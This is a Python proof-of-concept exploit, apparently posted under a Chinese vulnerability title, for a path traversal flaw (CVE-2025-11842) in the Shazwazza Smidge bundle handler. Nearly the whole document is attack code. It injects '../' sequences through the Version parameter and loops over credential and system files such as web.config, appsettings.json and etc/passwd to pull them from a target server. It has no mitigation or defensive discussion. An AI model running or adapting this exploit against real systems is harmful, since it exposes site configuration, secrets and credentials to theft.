CVE-2025-11842：Shazwazza Smidge Bundle Handler路径遍历漏洞

# CVE-2025-11842 - Shazwazza Smidge Path Traversal PoC # Affected: Shazwazza Smidge <= 4.5.1 # Component: Bundle Handler # Vulnerable Parameter: Version import requests # Target configuration TARGET_URL = "http://target-site.com" BUNDLE_HANDLER_PATH = "/Smidge/Bundle" # Default Smidge bundle handler path def exploit_path_traversal(target_url, traversal_path): """ Exploit path traversal via the Version parameter in Smidge Bundle Handler. The Version parameter is not properly sanitized, allowing directory traversal. """ # Construct malicious Version parameter with path traversal sequence malicious_version = f"../../../../../../../../{traversal_path}" # Build the request URL exploit_url = f"{target_url}{BUNDLE_HANDLER_PATH}" # Parameters that trigger the vulnerable code path params = { "v": malicious_version, # Version parameter "t": "css", # Type: css or js "bundleName": "default" # Bundle name } headers = { "User-Agent": "Mozilla/5.0", "Accept": "*/*" } try: response = requests.get(exploit_url, params=params, headers=headers, timeout=10) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response Length: {len(response.text)}") print(f"[*] Response Body:\n{response.text[:2000]}") return response except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None if __name__ == "__main__": # Attempt to read sensitive files via path traversal target_files = [ "web.config", "appsettings.json", "../web.config", "../../web.config", "../../../web.config", "windows/win.ini", "etc/passwd" ] print("[*] CVE-2025-11842 - Smidge Path Traversal Exploit") print("[*] Targeting Bundle Handler Version parameter\n") for target_file in target_files: print(f"\n[+] Attempting to read: {target_file}") result = exploit_path_traversal(TARGET_URL, target_file) if result and result.status_code == 200: print(f"[+] SUCCESS: File may have been retrieved!") break